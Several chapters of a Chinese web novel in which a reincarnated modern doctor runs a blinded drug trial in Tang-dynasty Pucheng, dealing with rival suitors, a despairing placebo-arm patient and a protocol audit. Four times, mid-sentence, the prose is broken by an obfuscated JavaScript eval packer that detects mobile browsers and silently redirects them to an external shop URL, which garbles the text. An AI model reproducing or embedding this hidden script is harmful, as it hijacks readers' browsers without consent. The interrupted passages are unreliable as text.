她站起身,因为蹲太久头晕乎乎的差点没站稳,白理下意识站起来,但杨凛火速放下两大碗水先一步奔来她身边,担忧地问:“大人,您没事儿吧?” 冯麓摆了摆手,“没事儿,低血压而已。白堂主,剩下的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513166|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给你了,我得修书向长安汇报情况。” “汇报什么?” “药材不够的事儿啊,我让人从长安寄来。” 白理眼神追着冯麓,不解地问:“你用的那些药材在蒲城都有的卖,为何要长安寄来?” “验方需要的量很大,普通的药铺是无法承载的。蒲城的药材要是都被我买光了,你白堂主第一个追杀我。” “哦对了,还是要谢谢昨夜的柴火和蜡烛。以后不用可怜我,我不需要。”冯麓头也没回地走了。 随着她那瘦削的背影一点点消失在白理的视野中,他才收回眼神。他皱着眉,面无表情地自言自语:“我给她留下的印象有这么差吗?” “这难道不正是堂主您想达成的目的吗?”杂役不解地问道。 这一问愣是把白理问宕机了,他也不知道为什么现在会在乎起自己在冯麓心里的印象。 他下意识讨厌攀附权贵的人,但他渐渐发现冯麓并没有视人命如垫脚石,也并没有如她所说只为了自己活命,她是真的在乎每个人的病情,甚至连蒲城缺药都考虑到了。 或许我真的错怪她了,白理想。 冯麓想来想去,发现自己混了这么久除了尚药局的郑安沅依然没有可靠的熟人,所以她只能修书给他,请求尚药局派人送一些药材来。 没过两日,郑安沅就用端正又刚劲的柳公权体回了信。他先礼仪周全地向冯麓问候,然后说尚药局刚收了一大批优质药材,最后告诉她不出三日药材便会全部到位,请她不必忧虑。 杨凛接过信仔细阅读起来,啧啧赞叹,“郑大人这一手字真漂亮,遣词造句也很得体,更别说为人处事,丝毫没有因大人是女子就敷衍了事。” “对啊,不像某人。”冯麓小声吐槽。 “某人?您是说白堂主?” “除了他还有谁?”冯麓一想到白理就忍不住翻白眼,“虽然他那天给我们送柴火确实很像个人,但还是改变不了他招人讨厌的事实。” 旁观者杨凛只觉得这两人在这种方面竟拥有奇怪的默契。所有人都对白理佩服不已,唯独冯麓;所有人都对冯麓欣赏有加,唯独白理。 如果他们俩人可以讲和,冯大人应该会轻松不少吧,杨凛心想。 注释及参考文献: [1]严重不良事件:指现代药物试验过程中发生需住院治疗、延长住院时间、伤残、影响工作能力、危及生命或死亡、导致先天畸形等事件,简称“SAE”。 [2]揭盲:指现代药物试验中揭晓随机分组的结果,在试验过程中通常不允许揭盲,除非受试者出现严重不良事件(SAE)或者可疑且非预期严重不良反应(SUSAR)需要得知他用的什么药。 [3]艾灸:最早可溯源于——《备急千金要方》孙思邈(唐)。 [4]六君子汤:据说源自《太平惠民和剂局方》,实际最早收录于《医学正传》虞抟(明)。 [5]四君子汤:该药物配伍最早可追溯于《备急千金要方》孙思邈(唐),该命名最早可溯源于《太平惠民和剂局方》太医局的陈师文、裴宗元等人(宋)。 [6]低渗性脱水:指水分和钠同时缺乏,但缺钠大于缺水,通常因为腹泻、呕吐或者大量出汗,患者一般会头晕乏力、手足麻痹等。 8. 长安来客 王媪已经顺利完成了第三疗程的治疗,不止血纹淡了很多,整个人的精气神也上来了。 她这段时间成了冯麓新方最有力的推广者,到哪儿都不忘提一句冯大人神医下凡,闹得最近来仁医堂找冯麓的人犹如雨后春笋。 “冯大人,您就让我们也用解药吧!” “我不仅不要你们的银子我还可以资助仁医堂,价钱随便开!” 诸如此类的话每天都会在仁医堂重复播放十几遍。 “很抱歉各位,不是钱的事儿,不是每个病患都适合用解药的。”冯麓艰难地吐出一遍又一遍这样的话,哪个医师会愿意眼睁睁看着自己的病患用不了药呢。 “为什么王夫人、六公子、还有杜公子都可以,我们就不行?我们比他们差在哪儿了?” “是啊,你不给个说法我们就不走了!” 百姓们说着说着就围上来,硬是把冯麓挤到了前厅的墙角。尖锐刺耳的指责充斥在狭小的空间里,就连空气也变得稀薄,几只手来回推搡着,冯麓两眼一抹黑几乎就要晕倒。 “请各位不要为难冯大人,她也是奉陛下之命行事。” 郑安沅柔和悦耳的声音再次逆着人流降临冯麓的世界,像一汪清泉,一如那次朝堂之上。 他从袖子里掏出月银鱼符亮明身份,淡定地说:“我是尚药局的奉御郑安沅,负责协助验方使大人完成验方工作。” 人们纷纷回头,听见是来自长安的官员都默契地为郑安沅让出一条路来。 他的第一件事,就是径直走来扶起已经瘫在墙边的冯麓,尔后正色道:“验方使大人日夜操劳已然体力不支,有什么疑问不必劳烦验方使大人,我来回答即可。” 经过郑安沅礼貌又详尽的解答,大家终于对这个验方工作有所了解,虽然遗憾但也不再有怨言。 冯麓把他请到南亭里,为他泡了一壶红茶接风。“我这儿是小地方没那么好的条件,郑大人见谅。” “冯大人不必为我沏茶,按官阶来说应该我给冯大人沏茶才是。”郑安沅笑着说。冯麓摆摆手,忙说自己没有官瘾,她只当他是朋友。 “朋友?”郑安沅提取到了关键词,眼睛里亮起一丝惊喜的神色,“我们现在已经是朋友了吗?” “啊哈哈,若是郑大人不缺朋友就当我没说过这话。”冯麓喝了一口茶尴尬地笑。 郑安沅看她喝了茶,自己也不自觉跟着她的动作细品了一口,“缺,当然缺。我很乐意和冯大人交朋友,这是我的荣幸。” “多谢郑大人亲自相送药材,感激不尽。”冯麓放下茶杯,比了一个抱拳礼,把郑安沅逗得眼睛都笑出褶来了,他也抱拳回礼,“朋友之间,举手之劳。” “郑大人这回是特意来传信儿的?是陛下那边是有什么情况吗?” 冯麓不免担忧起李麒来,也不知他病情有没有加重,能不能撑到她解药研发成功。 “陛下每日都在申正时分练习你的‘八段锦’[1],这个法子前所未见但效果却意外地不错,陛下面色居然真的红润不少,上朝的声音也没那么虚弱了。”郑安沅啧啧赞叹道,“冯大人,你究竟还有多少独门绝学?” 冯麓垂眸喝茶避而不答。她不愿意承认这些是自己的东西,因为这不是她自己研发出来的,而是站在现代社会汲取了前人的智慧。 仁医堂另一边,白理已经为杜蜻做完新一次随访。 待杜蜻领完第二疗程的药以后,白理犹豫再三还是向杨凛提出自己的疑问:“那个……你家大人今日怎的没来仁医堂?她不是每一步都要亲自盯着吗?” “大人她今日早就来了,此时应是跟郑大人在南亭叙话。” “郑大人?谁?” 杨凛回答:“郑安沅大人是尚药局五品奉御,从长安来给大人送药材。” “送药材需要他一个五品官员来吗?怕是图谋不轨吧。” 杨凛不假思索地否定了白理的猜测,“白堂主您这就是恶意揣度了。我进京赶考时受到了郑大人的帮助,他为人正直谦逊又和善大方,身为荥阳郑氏却坚持只靠自己获取功名,这是多少世家子弟都无法做到的。” 杨凛谈论到这个从长安来的陌生人,满脸的崇拜神情让白理心里泛起异样的不适。 “哦对,大人还跟我提过一个往事——验方事宜在当时被整个朝堂反对,唯独郑大人出言支持,而且之后也是郑大人出面帮我家大人找监官尝验,渡过了艰难险阻的第一道关。 郑大人乃真君子也。” “行了!”白理越听越烦躁,深吸一口气组织了杨凛那无穷无尽的夸赞,“别说了。” “这不是您问我的吗……”杨凛也学冯麓的模样默默在白理身后翻了个白眼。 时间长了,他也渐渐体会出自家大人那么讨厌白理的原因了,这人浑身就是一个矛盾体嘛。 白理面色铁青地离开问诊室。 他也不知道心里这股无名火是从杨凛的哪个字涌起的,就是下意识不想听到这个郑安沅的任何事情。 白理大步流星地走到院子口,就看到冯麓正和郑安沅在院子里的南亭有说有笑,甚至她还主动起身给对方倒茶。 冯麓面对自己时,要么是一个虚伪微笑的假人,要么是一个冷漠至极的冰块,这是白理第一次看到表情如此生动的冯麓。 真让人不爽。 白理快步走过去,用自己的手指敲了敲石几,一字一句地吐出来:“我没有允许你在我的地盘私会陌生男子。” 郑安沅想站起来解释,却被冯麓拦住了,她颇不快地瞪着白理:“你能不能不要说的这么难听?我是在这儿与郑大人谈论公事。” “公事?谈公事需要笑这么开心吗?还给他端茶倒水的?” “不可理喻。”冯麓只觉得自己的脑袋快被面前这个人气炸了,“我对所有人都这样,我是想跟所有人都好好相处的,除了你,只有你。” “白堂主对吧?幸会。”郑安沅伸出手来行礼,见白理迟迟不回应也没有觉得尴尬,只是笑着收回手,“在下今日登门一是为了送药材,二是向冯大人亲自传达陛下近况,三是……” 郑安沅扭头望了一眼冯麓,柔柔地补充:“为了确认冯大人是否安康。” “郑大人,验方使在蒲城好得很,不劳您挂心。”白理咬着后槽牙回答。 冯麓叹了口气,无力地说:“白堂主,请不要把对我的那套恶意和偏见放在郑大人身上,或许我以前有做得不妥之处,但郑大人没有做错任何事。你这样很幼稚,把小时候受到的伤害无差别扣在毫无关联的其他人头上,对他不公平。” “你!”白理要被这一男一女气晕。 “冯大人,药材已送到,我先回客栈,改日再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513167|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜访贵府。” 冯麓又满面春光地看向郑安沅,“哎,说什么‘贵府’啊,就是一个小院子罢了。我先去跟杨凛交代一下,等会儿我送你回客栈。” 冯麓小跑着离开,轻巧地拐过一道弯彻底消失两人的视线中。郑安沅收回眼神,表情玩味地问:“白堂主,你讨厌冯大人?” 白理支支吾吾地答:“……没有。” “那就是喜欢冯大人了?” “当然不是,难道对一个人不是讨厌便是喜欢吗?”话虽如此,但白理的眼珠开始不自然地晃动,放在石几的手也变得不知所措。 ‘讨厌’?他现在好像也没有那么看不惯冯麓了。‘喜欢’?他怎么可能喜欢冯麓那种人前人后两幅面孔的人? 当白理还在心里思考这两个问题的时候,郑安沅石破天惊般向他投来一个重磅炸弹。 “那我就放心了,”他挑挑眉,笑得志在必得,“因为我很喜欢冯大人。” “冯大人是我见过最强大、最勇敢、最聪慧的女子,她那姣好的容貌反而是她最不值一提的美丽。” “若是白堂主对冯大人没有想法,我会努力获得她芳心的。不过,即使白堂主想与我竞争,我也不认为我会输。” 郑安沅勾勾嘴角,行了个礼后踱步离开仁医堂,留下呼吸都快停滞的白理。 “呼——岂有此理,居然敢在我的仁医堂挑衅我。” 白理回过神来,愤怒和妒火几乎要将他燃烧殆尽,他跑去门口向护院大喊:“从今以后,郑安沅不许踏入仁医堂一步,要是我再在仁医堂看到他,你就给我收拾铺盖回家!” 虽然护院不知道发生了什么,但还是毕恭毕敬地应答道:“是!” 冯麓把郑安沅送回客栈,顺道和他在那儿吃了晚饭。凳子都还没坐热,路上就传来一阵呼救声,冯麓没有一丝犹豫丢下筷子就奔出去。 那是一个少女,捂着头痛苦地蜷缩在地面,看样子是头疾发作。 “姑娘,可以让我看看吗?”冯麓蹲下问。神经撕扯得她无法开口说话,只能点头表示同意。 冯麓把了脉,发现这个少女也是“气不摄血证”,她把少女的胳膊揽在肩膀上,一步一步艰难地向前走。 “冯大人需要我……”“我自己可以,多谢。” 冯麓本就弱小的身躯硬是将毫无力气的少女连抱带拽带回仁医堂,她放声高喊:“杨凛!杨凛!” 没有回应,她只好把少女放到一张小榻上,二话不说开始施针。 她撩起少女的袖子,和李麒一模一样的血纹,嘴唇泛白,手掌寒凉,需要立即补足阳气。 一刻钟后,少女终于缓缓醒来,睁眼看见冯麓的一瞬间就眼泪汪汪地拽住她的衣袖,央求道:“大人,我知道您就是验方使大人,求求您,帮我解咒吧。” “我就快和琅文哥哥成亲了,不能让他发现我中了咒。他会嫌弃我不要我的,求求您。” 冯麓深吸一口气,她不希望少女活下去的理由是一个男子,但她无法无视她的求生意志。 她叫来了白理,经过诊断,她与李麒的脉象和症状有七成相似,可以入组治疗。 但是—— 这是白理第一次抽中“安慰剂组”。 注释及参考文献: [1]八段锦:最早可以溯源于《夷坚志》洪迈(宋)。 9. 病患投河 冯麓站在上帝视角看着芮雪开开心心地把那组根本没有一点作用的药罐领回家,心里泛起丝丝愧疚。 第一疗程结束,芮雪来仁医堂眉飞色舞地诉说感觉身体开始恢复体力,以及头疾很少再发作的情况。 她是有史以来最乖巧的受试者。她每日按时服药,清晰又工整地在日志簿上记录了每日餐食和症状,不多服漏服,也没有食用任何禁用药或食物。 可冯麓翻开那本标准的日志簿,总是会从心底涌现无限悲哀。怎么偏偏就是她。 第二疗程也顺利结束,芮雪手臂上的血纹仍然没有减淡,她告诉冯麓自己头疾又像往常那样发作,站久了头晕目眩,还总喘不上气。 “白堂主,冯大人,这是解药在发挥药效时的必须要经历的阶段吗?”芮雪眨着双眼看向皱眉思考的白理,又看向不敢与之对视的冯麓。 她十分期盼着药效的到来。 可她是对照组,她所期盼的永远不会降临在她身上。 “也许需要更长的时间,再等等。”白理安慰芮雪道。 “好的,那我再耐心等等。”芮雪柔柔地笑,“多谢白堂主和冯大人。” 而站在白理身后的冯麓一个字都不能说,甚至连任何有指向性的表情都不能做,只能淡淡地目击她离开。 翌日,冯麓又在街上碰到芮雪。 她面色苍白,却努力地扬起笑容,招呼冯麓去家里喝茶。她太热情,冯麓太心虚,推脱都显得无力。 冯麓跟着芮雪回了家,但是她们进的是“孟府”。 “这是你母家?”冯麓疑惑地问。芮雪摇头,细声道出她的身世。 “我是父母双亡后被夫人捡来的孩子,及笈后须嫁与孟府当媳妇。” 居然是童养媳。 “我一直把我的血纹隐瞒得特别好,除了您和白堂主没有人知晓。若我能在半年后与琅文哥哥顺利成亲,再顺利诞下子嗣,就算十年后孩子血纹显现,我也早已到达二十五岁爆血死去。” “非得嫁入孟府吗?” “整个蒲城都知道我是来路不明的山野弃女,若不嫁入孟府,也攀不上更好的夫家了,像我这样平凡无能的女子不嫁人还有什么活路呢?恐怕连二十五岁都活不到吧。”她苦涩地回答。 冯麓觉得这些话听起来诡异又可悲,一个四肢健全的女子得先靠欺骗去嫁人,再靠嫁人存活于世。 冯麓感慨道:“若是你生在我们那儿,完全可以靠学习一门技能为生,想嫁谁就嫁谁,不想嫁人就可以单身一辈子。” “我还从未去过长安,原来长安的女子可以如此幸福自在啊。”芮雪羡慕地感慨。 冯麓无奈地笑笑,没办法接话也没办法反驳芮雪的话。她初次遇到她还以为她是一个恋爱脑,今日才知道她只是一个走投无路的可怜人。 “芮雪,”冯麓咬着嘴唇问出这个她自己听起来也很离谱的请求,“可以晚一年再成亲吗?” 芮雪疑惑问道:“为何?” “你现在……”冯麓欲言又止。 冯麓很想说出一切,说现在她吃的药不是解药,说一年后解药或许研发成功,能不能再等等她。 但出于职业道德,她还是只能说:“……年纪太小了。” 芮雪突然笑出声来,因为不停地笑,本来毫无血色的脸颊都被染上了一丝粉红。“不小呀,我母亲在我这个年纪都把我生出来了,大家几乎都是这个年纪嫁人的。” “在我看来所有女子都不应该在十五六的年纪成亲生子。身体和心智都还没有成熟,怎能去当好一个妻子和母亲呢?” “那多大是成熟呢?您这个年纪吗?”芮雪问。 “也不行。芮雪,我希望你越晚成亲越好,”冯麓严肃地回答,“我不想你受伤。” 两位少女并肩走在木头长廊上,鞋底发出清脆有节奏的声响,行至中天的秋日缓缓在她们身上洒下温柔缱绻的光芒。 芮雪抿起嘴唇,不动声色地贴近冯麓身边,轻轻地问:“冯大人,我可以唤您姐姐吗?” 冯麓愣在了原地,神色复杂地低头看向芮雪。 这不仅仅是一个称呼,这对于一个孤僻内向又敏感自卑的人,已经是最大程度的示好与信任。 她在想,自己能否承受得起她的这份信任。 而芮雪看到她冷淡无言的模样,立刻慌忙陪笑着撤回自己的话:“冯大人是天降神医,是金枝玉叶的贵人,我肯定是不配与冯大人攀亲近的。 我不论是在山野流浪,还是进入孟府当养女,从来没有人在乎我会不会受伤,所以方才一时糊涂说了傻话,冯大人就当没有听到吧。”她抿着嘴,就快把自己的头低到尘埃里。 冯麓浅笑一声,轻轻摸了摸芮雪的头顶,说:“不能当没听到啊。 因为我同意了。” 芮雪仿佛不相信自己的耳朵,猛地抬头,眼里反射着庭院中明亮的日光,惊喜地问:“冯大人您是认真的吗?” “当然。” “太好了!姐姐……我有姐姐了!”芮雪欢喜地笑起来,虽然因为情绪激动咳个不停,但丝毫不影响她的兴奋雀跃。 冯麓笑得眼睛弯两道月牙,轻柔地帮她顺着后背,“我不白白受你一声‘姐姐’。以后我会保护你的。” 我会保护你。 陆知晓从她刚拿到带教资格带实习生和规培生的时候就经常说这句话。 因为师傅没让她淋过雨,所以她发誓要像师傅保护她那样保护后辈——比如那个冰水瓶。 虽然她因为这个冰水瓶穿越到了大唐,但要是时间倒流重新来过,她还是会毫不犹豫地为学生挡下那一道。 身为陆知晓时就是那样做的,现在成为了冯麓也要坚持到底。 冯麓匆忙回到仁医堂,站在白理面前,盯着他的双眼,冷冷地问:“白堂主,你还记得方案里对于没有疗效的病患该如何处理吗?” “嗯……让他们提前出组。”白理一见到冯麓这样严肃的神情就莫名其妙地紧张,他心里开始揣测冯麓此时提起这个的目的可能是什么。 “对。你是芮雪的医师,应该很清楚她的情况吧?她治疗了两个疗程后疗效如何?” “疗效不佳,貌似有加重的趋势。” “那依你而言,她还有必要继续参与验方吗?” 这句话意味不明,白理无法从冯麓的表情和语气判断这句话背后的含义,于是直接说:“当然是继续,王夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513168|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服用第二疗程的药以后也加重了,在第三疗程后才开始大范围恢复的,所以我认为芮雪也可以。” 冯麓脑子一热就双手撑在桌面上,语气尖锐地反驳:“可是王媪她之前服用过禁用食物啊,怎能与之相提并论?” 白理看出来冯麓的不对劲,试探性地反问:“那你认为,我该让芮雪退出吗?反正你知道所有人的组别不是吗。” 这句话像一盆凉水,把丧失理智的冯麓泼了个清醒。 她刚刚在做什么? 她怎么可以干扰验方的结果? “验方使可畅所欲言,我听你的。”白理挑了挑眉说道。他现在怀疑这是冯麓给他下的一个套,就等着他跳下去,所以他偏不上钩。 冯麓深吸一口气,眼神飘忽地收回两只胳膊,清了清嗓子,说:“此事可以不用听我的,你是医师,你决定便可。” “我坚持己见,让芮雪继续用药。” 冯麓几乎用了全身的力气,挤出一丝勉强到有点苦涩的笑,“随你。” 她用力掐着自己的手指快步离去,生怕自己说出错误的话,做出错误的决定。 冯麓在孟府的时候其实有跟芮雪提了一嘴,若是感到疗效不佳可以主动和白理提出退出验方。 但芮雪却笑着摆手拒绝:“我坚持坚持吧,万一明日就起效了呢。” 作为验方的统领者,是不能与受试者走得太近的,冯麓自知已经越过了那道边界线。 失去理智是一件危险的事情,她的潜意识在警告她自己不可以干扰验方,这不仅是对芮雪的不负责,更是对其他受试者的不负责。 但她没办法视若无睹芮雪的痛苦,于是她把自己关在家里连夜研究补救治疗方法,以至于芮雪一旦病情突发加重可以及时处理。 当清晨的第一束光照进冯麓的院子,她终于完成了补救疗法的设计。她伸了伸懒腰,又把纸上的内容顺了一遍。 这是四君子汤加上每日艾灸的组合疗法,即使无法治愈血纹症,也可以让芮雪的病情的进展没那么迅速。 她拿着纸走出房门,却迎头撞上正推门而入的杨凛。 “你在仁医堂整理医案格到现在?”冯麓摸着自己被撞红的额头问。 “大人……不好了……” 一股强烈的不详预感袭来,冯麓的心脏仿佛都被杨凛的这句话揪起来抛向空中,悬而不落。 “谁出事儿了?” “芮……芮雪,”杨凛气喘吁吁地说,“她今早上投河了!” 冯麓用尽全身力气跑向仁医堂,一进门就高声呼喊:“芮雪呢?芮雪她怎么样?还活着吗?” 白理从里间走出来,陈声答:“放心,她还活着。” 冯麓一颗高悬未落的心终于回归大地,她慌忙跑进诊疗间,想看看芮雪的病情。 被打捞上来的芮雪正奄奄一息地躺在榻上,头发湿哒哒地黏在额上和脸上,狼狈不堪。 冯麓上前去帮她把头发撩到一旁,手指却在撩开头发的那一瞬间停滞在空中。 芮雪乌黑的发丝下,白皙的脸颊上,是触目惊心的血纹,鲜红无比,可怖到足以吞噬一切希望。 这意味着,孟府已经知道她的秘密了。 10. 内部稽查 冯麓在看到血纹蔓延到芮雪脸颊上的那一刻,脑海中似乎都已经浮现出了孟府对她大肆辱骂的场景。 骂她把所有人骗得团团转,骂她祖上造孽血统低劣,骂她麻雀也想飞上枝头变凤凰。 芮雪只是个连十五岁都没满的孩子,她当然不能承受住这些像钉子一样的话语。对于一个失去所有生存希望和自尊心的孩子来说,跳入洛水是能想到的逃离这里的最快办法。 冯麓心疼地抚摸着芮雪的血纹,只是过了三周病情就进展得这么快,发作起来一定很痛苦。 芮雪悠悠转醒,在看到眼前见到的第一个人是冯麓时,她的泪水像春雨一般无声淌过脸颊。 “冯大人……”芮雪小声呢喃着。 “我在。”冯麓突然觉得喉咙很疼,像有铁钩在拉扯似的。 “芮雪,你愿意来我这儿吗?”冯麓轻声问,“跟在我身边也许得不到孟府那么好的条件,但是肯定不会让你冻着、饿着,也不会让你受到委屈,而且,我会让你用自己的双手在这世间立足。” 芮雪晶莹闪烁的眼瞳中流露出不敢置信的神情,弱弱地问:“真的可以吗?” “我从来不撒谎。”冯麓温柔地笑。 “我……我怕大人会嫌弃我是个大麻烦。” “没关系,我生来就是解决麻烦的。更何况,”冯麓摸了摸芮雪那如柳叶般柔美的细眉,“我是你姐姐嘛,怎么会嫌弃你呢。” 白理考虑到疗效不佳病情进展,于是决定让芮雪提前退出验方。冯麓将她带回自己的院子安置,给她用上之前设计的保守疗法。 从那日以后,冯麓的身后多了一条小尾巴。 她把自己珍藏的医书拿来给芮雪读,教她认院里的草药,专门为她写了识记手札,甚至让她在自己身上一个穴位一个穴位地尝试扎针。 时间渐渐流逝,验方迎来了第五个受试者。 “脉象和舌象初步符合‘气不摄血证’,接着我需要问您几句,务必如实回答。”白理淡淡地看着冯麓为了直观方便而给他画的评估表,“平日食欲如何?” “食欲很差。”乔豫回答。 “会有头晕头疼吗?”“经常。” “会感觉浑身无力吗?”“……会吧?” 白理皱着眉抬眸反问:“到底会不会?” 乔豫斩钉截铁地说:“会会会,当然会,每日我都疲软无力。” “平日走路会有喘不上气吗?”“有。” 白理用手摸了摸乔豫的手掌心,凉得不行。他在表格里勾勾画画,写了一大串字。 乔豫紧张又期待地问:“白堂主,我符合条件吗?” “符合,”他面无表情地拿出陶罐随手抽了一个纸条出来,“乔公子,您可以下楼在外厅稍作等候,稍后会有人把对应的药汤给您。” 正好也到了王媪最后一次访视的时间,做完这一次问诊她就可以出组了。可此时,门外突然冲进来一个随从模样的人气喘吁吁地喊着要找堂主。 白理急匆匆下楼,得知是折冲都尉突然中毒,性命垂危。 “王夫人的访视推迟一天!” 杨凛连忙拉住白理的胳膊,“不行啊白堂主,大人说一天都不能改变。” “我昨日已去王夫人府上探望过,她神色很好,脉象平稳有力,想是已经基本恢复了,早一日晚一日不影响吧?” 杨凛仍然坚定地否定了这个提议:“不行,大人说了一切行为都必须依照方案来进行,再发生方案违背的话您和我都会被扣钱的。” 杨凛真是跟冯麓越发相像了。白理无奈地扶额,突然想到什么又问:“对了,我记得你说过你学过医术?” “是,我曾跟我伯父学过一点医术,前两年还帮他整理疏注过《难经》[1]。白堂主不会是要……不行!坚决不行!” “既然你会医术,帮我看看又如何?现在你也看到了,都尉大人命悬一线,而王夫人已无大碍,孰轻孰重你分不清吗?” “大人三令五申不允许我们选人做任何诊疗行为,您还是找其他医师吧。” “其他医师都忙得很,整个仁医堂就你最闲,而且你对方案最是熟悉,你来问诊最合适不过。” “可是被大人知道的话……” “你家大人现在全身心都不在仁医堂,她哪儿有心思管你在做什么。” 冯麓早晨带芮雪上山,下午带芮雪义诊,晚上给芮雪在家里做治疗,白理好像已经连续七八日没见过她了。仁医堂里许久没有她在旁边阴阳怪气针锋相对,他还真不太习惯。 “我真得走了,都尉大人也是活生生的一条人命,不可耽误!” 杨凛好像被钉在原地似的,左右为难。他去拜托其他医师,可其他医师连多说一句话的时间都没有,背起医箱子就慌忙往下一家跑。 “杨大人,您好了吗?我还约了蔡夫人赏枫呢。”王媪此时从楼上探了个脑袋出来问。 杨凛吞了口口水握着拳,摆出一副英勇就义的表情抬头回答:“嗯,夫人,咱们开始吧。” 冯麓和芮雪在街头义诊,遇到了不少没钱看病的乡亲,冯麓先是自己把脉,再让芮雪试试,看看她能领悟多少。 芮雪是冯麓带过记忆里最好的学生,很多知识一遍就能记住,若真是被一辈子囿于府宅,这世间就又少一个好医师了。 “你们听说了吗?秦都尉被小人下毒了,现在还昏迷不醒呢!” “天呐,都尉大人都敢毒杀,胆子也太大了!” 两个妇人经过义诊摊时闲聊道。 “传言说秦都尉是从长安赴宴回来才毒发的,想是那人见不惯秦都尉现在是陛下眼前儿的红人吧。” “长安真是尔虞我诈,还是咱蒲城好,地方小但民风淳朴啊。义诊这事儿在长安定是不会有的,知道你病了恨不得从你身上多薅几锭银子下来呢。” 芮雪眨了眨眼,扭头好奇地问冯麓:“姐姐,长安真的这么可怕吗?” “或许吧。” 芮雪打了个寒战,抱着胳膊道:“那我不想去长安了。” “若我们的验方可以顺利完成,我就带你回山谷,那里环境优美人迹罕至,不仅非常安全还可以跟孙先生学到不少东西。” “嗯!我全听姐姐的!” 冯麓也不知道自己画的这个饼能不能实现。 如今蒲城的每个受试者都或多或少存在不良事件和方案违背,对后续的数据统计分析十分不利,解药和她的未来简直是一片灰暗。 黄昏落下,义诊结束,冯麓和芮雪收拾了东西回仁医堂。她发现自己好久没在旁边监督访视了,也不知道有没有出问题。 她站在前厅呼叫着杨凛,问:“最近验方有什么新情况吗?” 杨凛低着头回答:“今日又入组了一人。” “那目前就入了三分之一的病患了,你做得很好。”冯麓笑着夸了一道杨凛,可心虚的杨凛压根儿开心不起来,满脑子都在想王媪那件事儿。 “把目前所有病患的医案格拿给我,我要稽查。” “稽查?”杨凛感觉自己的头皮都在发紧。 “忘记告诉你了,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513169|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个验方过程中我会进行两次稽查,尚药局也会来人稽查,保证验方质量和真实性。” 冯麓扭头对芮雪说:“我稽查的时候正好你也可以看看,他们记录在案的那些症状、诊断和合并药物之间的关联性是否合理。” “是。”芮雪答。 “还愣着做什么?去把医案格拿出来,我就在这儿看,拿回家我怕弄丢了。” “……是。” 杨凛满头冷汗地把医案格按入组顺序放在桌上,所有评估表也都整理好,连药罐子都码得整整齐齐。 冯麓从一号受试者王媪的医案格开始看。 一个服用禁用食物的方案违背,一共三个不良事件,分别是“头疼”、“气短”和“乏力”。按照评估表来看,她的症状减少得非常多,脉象也逐渐从细弱变成平脉,是疗效显著的证明。 “等等。”冯麓的手停在第四次访视的评估表上,“脉象一个月内会恢复得这么快?不合理啊。” “杨凛,这是谁诊断的?”冯麓沉着脸,盯着杨凛低垂的眼睛问。 “是白堂主。” “王夫人只服了一月的药,脉象应是弦细或者滑细,怎么也不可能是平脉,我不相信白理会分不清这几种脉象的差别。”她压抑住怒火说:“再给你一次机会,重说。” “是我……”杨凛低着头,牙关紧闭,腿都无法控制地发抖。“我错了大人!” “我说过很多次,作为使人没有为病患诊治的资格,即使其他医师都没有时间,即使你精通医术。现在看来你也并没有精通医术,万一王夫人的病情出现转折你却没发现,出事儿了你能负起责任吗?” “我也是不想王夫人推迟访视,再发生一次方案违背嘛。” “现在还不是照样发生方案违背了?你根本没办法瞒天过海。好在我今日稽查及时发现,不然可能会影响全局。” 冯麓叹了口气,“算了,这事儿也不全是你的错,白理没安排好问诊就跑没影儿,他要负绝大一部分责任。” 冯麓从她的斜挎包里掏出一本册子,是她自己编写的《验方守则》,递给杨凛,“看来你们在长安背诵的《守则》全忘记了,那就抄五遍,此后绝不可再犯。” “是。” 白理此时筋疲力尽地从外面走进来,秦都尉是个超级大胖子,给他解毒还真有点难度。 “小董,给我来杯茶。”他有气无力地招呼着杂役。 小董直接把一整壶大枣枸杞茶递来,白理还正对着壶咕嘟咕嘟喝呢,冯麓就大步流星地走出来站定在他面前。 “你完成这五例病患的诊疗以后,蒲城的验方就结束了。” 